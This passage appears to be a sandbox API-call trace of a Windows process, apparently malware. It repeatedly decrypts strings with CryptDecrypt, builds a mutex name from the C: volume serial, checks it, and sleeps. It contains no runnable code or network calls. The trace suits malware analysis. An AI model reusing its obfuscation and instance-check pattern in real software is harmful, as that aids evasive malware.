	[0070.005] CryptDecrypt (in: hKey=0xbaa488, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2728fc0, pdwDataLen=0x288fd78 | out: pbData=0x2728fc0, pdwDataLen=0x288fd78) returned 1
	[0070.005] CryptDestroyKey (hKey=0xbaa488) returned 1
	[0070.005] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728fc0 | out: hHeap=0x2720000) returned 1
	[0070.005] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2728f70, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0070.005] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728f98 | out: hHeap=0x2720000) returned 1
	[0070.005] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721518 | out: hHeap=0x2720000) returned 1
	[0070.005] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x288fe2c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x288fe2c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0070.006] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728f70 | out: hHeap=0x2720000) returned 1
	[0070.006] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x40) returned 0x2728f70
	[0070.006] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fdb8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fe20 | out: phKey=0x288fe20*=0xbaa488) returned 1
	[0070.006] CryptSetKeyParam (hKey=0xbaa488, dwParam=0x1, pbData=0x288fe08, dwFlags=0x0) returned 1
	[0070.006] CryptDecrypt (in: hKey=0xbaa488, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2728f70, pdwDataLen=0x288fdd4 | out: pbData=0x2728f70, pdwDataLen=0x288fdd4) returned 1
	[0070.006] CryptDestroyKey (hKey=0xbaa488) returned 1
	[0070.006] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x34) returned 0x2728fb8
	[0070.006] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x324
	[0070.006] WaitForSingleObject (hHandle=0x324, dwMilliseconds=0x0) returned 0x102
	[0070.006] CloseHandle (hObject=0x324) returned 1
	[0070.006] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728f70 | out: hHeap=0x2720000) returned 1
	[0070.006] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728fb8 | out: hHeap=0x2720000) returned 1
	[0070.006] Sleep (dwMilliseconds=0x3e8) 
	[0071.084] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x20) returned 0x2721518
	[0071.084] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fd84, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fdec | out: phKey=0x288fdec*=0xbaa648) returned 1
	[0071.084] CryptSetKeyParam (hKey=0xbaa648, dwParam=0x1, pbData=0x288fdd4, dwFlags=0x0) returned 1
	[0071.084] CryptDecrypt (in: hKey=0xbaa648, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2721518, pdwDataLen=0x288fda0 | out: pbData=0x2721518, pdwDataLen=0x288fda0) returned 1
	[0071.084] CryptDestroyKey (hKey=0xbaa648) returned 1
	[0071.084] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x1e) returned 0x2728f70
	[0071.084] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x1e) returned 0x2728f98
	[0071.084] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x90) returned 0x2728fc0
	[0071.084] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fd5c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fdc4 | out: phKey=0x288fdc4*=0xbaa608) returned 1
	[0071.084] CryptSetKeyParam (hKey=0xbaa608, dwParam=0x1, pbData=0x288fdac, dwFlags=0x0) returned 1
	[0071.084] CryptDecrypt (in: hKey=0xbaa608, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2728fc0, pdwDataLen=0x288fd78 | out: pbData=0x2728fc0, pdwDataLen=0x288fd78) returned 1
	[0071.084] CryptDestroyKey (hKey=0xbaa608) returned 1
	[0071.084] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728fc0 | out: hHeap=0x2720000) returned 1
	[0071.084] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2728f70, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0071.084] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728f98 | out: hHeap=0x2720000) returned 1
	[0071.084] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721518 | out: hHeap=0x2720000) returned 1
	[0071.084] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x288fe2c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x288fe2c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0071.085] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728f70 | out: hHeap=0x2720000) returned 1
	[0071.085] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x40) returned 0x2728f70
	[0071.085] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fdb8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fe20 | out: phKey=0x288fe20*=0xbaa608) returned 1
	[0071.085] CryptSetKeyParam (hKey=0xbaa608, dwParam=0x1, pbData=0x288fe08, dwFlags=0x0) returned 1
	[0071.085] CryptDecrypt (in: hKey=0xbaa608, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2728f70, pdwDataLen=0x288fdd4 | out: pbData=0x2728f70, pdwDataLen=0x288fdd4) returned 1
	[0071.085] CryptDestroyKey (hKey=0xbaa608) returned 1
	[0071.085] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x34) returned 0x2728fb8
	[0071.085] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x320
	[0071.085] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x0) returned 0x102
	[0071.085] CloseHandle (hObject=0x320) returned 1
	[0071.085] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728f70 | out: hHeap=0x2720000) returned 1
	[0071.085] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728fb8 | out: hHeap=0x2720000) returned 1
	[0071.085] Sleep (dwMilliseconds=0x3e8) 
	[0072.278] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x20) returned 0x2721518
	[0072.278] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fd84, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fdec | out: phKey=0x288fdec*=0xbaa908) returned 1
	[0072.279] CryptSetKeyParam (hKey=0xbaa908, dwParam=0x1, pbData=0x288fdd4, dwFlags=0x0) returned 1
	[0072.279] CryptDecrypt (in: hKey=0xbaa908, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2721518, pdwDataLen=0x288fda0 | out: pbData=0x2721518, pdwDataLen=0x288fda0) returned 1
	[0072.279] CryptDestroyKey (hKey=0xbaa908) returned 1
	[0072.279] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x1e) returned 0x2728f70
	[0072.279] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x1e) returned 0x2728f98
	[0072.279] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x90) returned 0x2728fc0
	[0072.279] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fd5c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fdc4 | out: phKey=0x288fdc4*=0xbaa248) returned 1
	[0072.279] CryptSetKeyParam (hKey=0xbaa248, dwParam=0x1, pbData=0x288fdac, dwFlags=0x0) returned 1
	[0072.279] CryptDecrypt (in: hKey=0xbaa248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2728fc0, pdwDataLen=0x288fd78 | out: pbData=0x2728fc0, pdwDataLen=0x288fd78) returned 1
	[0072.279] CryptDestroyKey (hKey=0xbaa248) returned 1
	[0072.279] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728fc0 | out: hHeap=0x2720000) returned 1
	[0072.279] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2728f70, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0072.279] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728f98 | out: hHeap=0x2720000) returned 1
	[0072.279] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721518 | out: hHeap=0x2720000) returned 1
	[0072.279] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x288fe2c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x288fe2c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0072.279] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728f70 | out: hHeap=0x2720000) returned 1
	[0072.279] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x40) returned 0x2728f70
	[0072.279] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fdb8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fe20 | out: phKey=0x288fe20*=0xbaa908) returned 1
	[0072.279] CryptSetKeyParam (hKey=0xbaa908, dwParam=0x1, pbData=0x288fe08, dwFlags=0x0) returned 1
	[0072.279] CryptDecrypt (in: hKey=0xbaa908, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2728f70, pdwDataLen=0x288fdd4 | out: pbData=0x2728f70, pdwDataLen=0x288fdd4) returned 1
	[0072.279] CryptDestroyKey (hKey=0xbaa908) returned 1
	[0072.279] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x34) returned 0x2728fb8
	[0072.279] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x320
	[0072.279] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x0) returned 0x102
	[0072.280] CloseHandle (hObject=0x320) returned 1
	[0072.280] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728f70 | out: hHeap=0x2720000) returned 1
	[0072.280] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728fb8 | out: hHeap=0x2720000) returned 1
	[0072.280] Sleep (dwMilliseconds=0x3e8) 
	[0073.443] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x20) returned 0x2721518
	[0073.443] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fd84, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fdec | out: phKey=0x288fdec*=0xbaa948) returned 1
	[0073.443] CryptSetKeyParam (hKey=0xbaa948, dwParam=0x1, pbData=0x288fdd4, dwFlags=0x0) returned 1
	[0073.443] CryptDecrypt (in: hKey=0xbaa948, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2721518, pdwDataLen=0x288fda0 | out: pbData=0x2721518, pdwDataLen=0x288fda0) returned 1
	[0073.443] CryptDestroyKey (hKey=0xbaa948) returned 1
	[0073.443] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x1e) returned 0x2728f70
	[0073.444] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x1e) returned 0x2728f98
	[0073.444] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x90) returned 0x2728fc0
	[0073.444] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fd5c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fdc4 | out: phKey=0x288fdc4*=0xbaa688) returned 1
	[0073.444] CryptSetKeyParam (hKey=0xbaa688, dwParam=0x1, pbData=0x288fdac, dwFlags=0x0) returned 1
	[0073.444] CryptDecrypt (in: hKey=0xbaa688, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2728fc0, pdwDataLen=0x288fd78 | out: pbData=0x2728fc0, pdwDataLen=0x288fd78) returned 1
	[0073.444] CryptDestroyKey (hKey=0xbaa688) returned 1
	[0073.444] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728fc0 | out: hHeap=0x2720000) returned 1
	[0073.444] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2728f70, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0073.444] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728f98 | out: hHeap=0x2720000) returned 1
	[0073.444] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721518 | out: hHeap=0x2720000) returned 1
	[0073.444] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x288fe2c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x288fe2c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0073.444] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728f70 | out: hHeap=0x2720000) returned 1
	[0073.444] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x40) returned 0x2728f70
	[0073.444] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fdb8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fe20 | out: phKey=0x288fe20*=0xbaa5c8) returned 1
	[0073.444] CryptSetKeyParam (hKey=0xbaa5c8, dwParam=0x1, pbData=0x288fe08, dwFlags=0x0) returned 1
	[0073.444] CryptDecrypt (in: hKey=0xbaa5c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2728f70, pdwDataLen=0x288fdd4 | out: pbData=0x2728f70, pdwDataLen=0x288fdd4) returned 1
	[0073.444] CryptDestroyKey (hKey=0xbaa5c8) returned 1
	[0073.444] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x34) returned 0x2728fb8
	[0073.444] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x344
	[0073.444] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0x0) returned 0x102
	[0073.444] CloseHandle (hObject=0x344) returned 1
	[0073.445] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728f70 | out: hHeap=0x2720000) returned 1
	[0073.445] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728fb8 | out: hHeap=0x2720000) returned 1
	[0073.445] Sleep (dwMilliseconds=0x3e8) 
	[0074.807] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x20) returned 0x2721518
	[0074.807] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fd84, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fdec | out: phKey=0x288fdec*=0xbaa5c8) returned 1
	[0074.807] CryptSetKeyParam (hKey=0xbaa5c8, dwParam=0x1, pbData=0x288fdd4, dwFlags=0x0) returned 1
	[0074.807] CryptDecrypt (in: hKey=0xbaa5c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2721518, pdwDataLen=0x288fda0 | out: pbData=0x2721518, pdwDataLen=0x288fda0) returned 1
	[0074.807] CryptDestroyKey (hKey=0xbaa5c8) returned 1
	[0074.807] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x1e) returned 0x2728f70
	[0074.807] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x1e) returned 0x2728f98
	[0074.808] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x90) returned 0x2728fc0
	[0074.808] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fd5c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fdc4 | out: phKey=0x288fdc4*=0xbaa688) returned 1
	[0074.808] CryptSetKeyParam (hKey=0xbaa688, dwParam=0x1, pbData=0x288fdac, dwFlags=0x0) returned 1
	[0074.808] CryptDecrypt (in: hKey=0xbaa688, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2728fc0, pdwDataLen=0x288fd78 | out: pbData=0x2728fc0, pdwDataLen=0x288fd78) returned 1
	[0074.808] CryptDestroyKey (hKey=0xbaa688) returned 1
	[0074.808] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728fc0 | out: hHeap=0x2720000) returned 1
	[0074.808] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2728f70, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0074.808] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728f98 | out: hHeap=0x2720000) returned 1
	[0074.808] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721518 | out: hHeap=0x2720000) returned 1
	[0074.808] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x288fe2c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x288fe2c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0074.808] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728f70 | out: hHeap=0x2720000) returned 1
	[0074.808] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x40) returned 0x2728f70
	[0074.808] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fdb8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fe20 | out: phKey=0x288fe20*=0xbaa3c8) returned 1
	[0074.808] CryptSetKeyParam (hKey=0xbaa3c8, dwParam=0x1, pbData=0x288fe08, dwFlags=0x0) returned 1
	[0074.808] CryptDecrypt (in: hKey=0xbaa3c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2728f70, pdwDataLen=0x288fdd4 | out: pbData=0x2728f70, pdwDataLen=0x288fdd4) returned 1
	[0074.808] CryptDestroyKey (hKey=0xbaa3c8) returned 1
	[0074.808] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x34) returned 0x2728fb8
	[0074.808] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x320
	[0074.808] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x0) returned 0x102
	[0074.808] CloseHandle (hObject=0x320) returned 1
	[0074.809] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728f70 | out: hHeap=0x2720000) returned 1
	[0074.809] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728fb8 | out: hHeap=0x2720000) returned 1
	[0074.809] Sleep (dwMilliseconds=0x3e8) 
	[0076.209] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x20) returned 0x2721518
	[0076.209] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fd84, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fdec | out: phKey=0x288fdec*=0xbaa9c8) returned 1
	[0076.209] CryptSetKeyParam (hKey=0xbaa9c8, dwParam=0x1, pbData=0x288fdd4, dwFlags=0x0) returned 1
	[0076.210] CryptDecrypt (in: hKey=0xbaa9c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2721518, pdwDataLen=0x288fda0 | out: pbData=0x2721518, pdwDataLen=0x288fda0) returned 1
	[0076.210] CryptDestroyKey (hKey=0xbaa9c8) returned 1
	[0076.210] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x1e) returned 0x2728f70
	[0076.210] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x1e) returned 0x2728f98
	[0076.210] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x90) returned 0x2728fc0
	[0076.210] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fd5c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fdc4 | out: phKey=0x288fdc4*=0xbaa4c8) returned 1
	[0076.210] CryptSetKeyParam (hKey=0xbaa4c8, dwParam=0x1, pbData=0x288fdac, dwFlags=0x0) returned 1
	[0076.210] CryptDecrypt (in: hKey=0xbaa4c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2728fc0, pdwDataLen=0x288fd78 | out: pbData=0x2728fc0, pdwDataLen=0x288fd78) returned 1
	[0076.210] CryptDestroyKey (hKey=0xbaa4c8) returned 1
	[0076.210] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728fc0 | out: hHeap=0x2720000) returned 1
	[0076.210] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2728f70, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0076.210] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728f98 | out: hHeap=0x2720000) returned 1
	[0076.210] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721518 | out: hHeap=0x2720000) returned 1
	[0076.210] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x288fe2c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x288fe2c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0076.210] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728f70 | out: hHeap=0x2720000) returned 1
	[0076.210] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x40) returned 0x2728f70
	[0076.211] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fdb8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fe20 | out: phKey=0x288fe20*=0xbaa908) returned 1
	[0076.211] CryptSetKeyParam (hKey=0xbaa908, dwParam=0x1, pbData=0x288fe08, dwFlags=0x0) returned 1
	[0076.211] CryptDecrypt (in: hKey=0xbaa908, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2728f70, pdwDataLen=0x288fdd4 | out: pbData=0x2728f70, pdwDataLen=0x288fdd4) returned 1
	[0076.211] CryptDestroyKey (hKey=0xbaa908) returned 1
	[0076.211] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x34) returned 0x2728fb8
	[0076.211] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x34c
	[0076.211] WaitForSingleObject (hHandle=0x34c, dwMilliseconds=0x0) returned 0x102
	[0076.211] CloseHandle (hObject=0x34c) returned 1
	[0076.211] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728f70 | out: hHeap=0x2720000) returned 1
	[0076.211] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728fb8 | out: hHeap=0x2720000) returned 1
	[0076.211] Sleep (dwMilliseconds=0x3e8) 
	[0077.231] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x20) returned 0x2721518
	[0077.231] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fd84, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fdec | out: phKey=0x288fdec*=0xbaa488) returned 1
	[0077.231] CryptSetKeyParam (hKey=0xbaa488, dwParam=0x1, pbData=0x288fdd4, dwFlags=0x0) returned 1
	[0077.231] CryptDecrypt (in: hKey=0xbaa488, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2721518, pdwDataLen=0x288fda0 | out: pbData=0x2721518, pdwDataLen=0x288fda0) returned 1
	[0077.231] CryptDestroyKey (hKey=0xbaa488) returned 1
	[0077.231] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x1e) returned 0x2728f70
	[0077.231] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x1e) returned 0x2728f98
	[0077.231] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x90) returned 0x2728fc0
	[0077.231] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fd5c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fdc4 | out: phKey=0x288fdc4*=0xbaa488) returned 1
	[0077.231] CryptSetKeyParam (hKey=0xbaa488, dwParam=0x1, pbData=0x288fdac, dwFlags=0x0) returned 1
	[0077.231] CryptDecrypt (in: hKey=0xbaa488, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2728fc0, pdwDataLen=0x288fd78 | out: pbData=0x2728fc0, pdwDataLen=0x288fd78) returned 1
	[0077.231] CryptDestroyKey (hKey=0xbaa488) returned 1
	[0077.232] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728fc0 | out: hHeap=0x2720000) returned 1
	[0077.232] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2728f70, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0077.232] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728f98 | out: hHeap=0x2720000) returned 1
	[0077.232] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721518 | out: hHeap=0x2720000) returned 1
	[0077.232] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x288fe2c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x288fe2c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0077.232] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728f70 | out: hHeap=0x2720000) returned 1
	[0077.232] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x40) returned 0x2728f70
	[0077.232] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fdb8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fe20 | out: phKey=0x288fe20*=0xbaa288) returned 1
	[0077.232] CryptSetKeyParam (hKey=0xbaa288, dwParam=0x1, pbData=0x288fe08, dwFlags=0x0) returned 1
	[0077.232] CryptDecrypt (in: hKey=0xbaa288, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2728f70, pdwDataLen=0x288fdd4 | out: pbData=0x2728f70, pdwDataLen=0x288fdd4) returned 1
	[0077.232] CryptDestroyKey (hKey=0xbaa288) returned 1
	[0077.232] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x34) returned 0x2728fb8
	[0077.232] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x324
	[0077.232] WaitForSingleObject (hHandle=0x324, dwMilliseconds=0x0) returned 0x102
	[0077.232] CloseHandle (hObject=0x324) returned 1
	[0077.232] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728f70 | out: hHeap=0x2720000) returned 1
	[0077.232] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728fb8 | out: hHeap=0x2720000) returned 1
	[0077.232] Sleep (dwMilliseconds=0x3e8) 
	[0078.386] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x20) returned 0x2721518
	[0078.386] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fd84, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fdec | out: phKey=0x288fdec*=0xbaa488) returned 1
	[0078.386] CryptSetKeyParam (hKey=0xbaa488, dwParam=0x1, pbData=0x288fdd4, dwFlags=0x0) returned 1
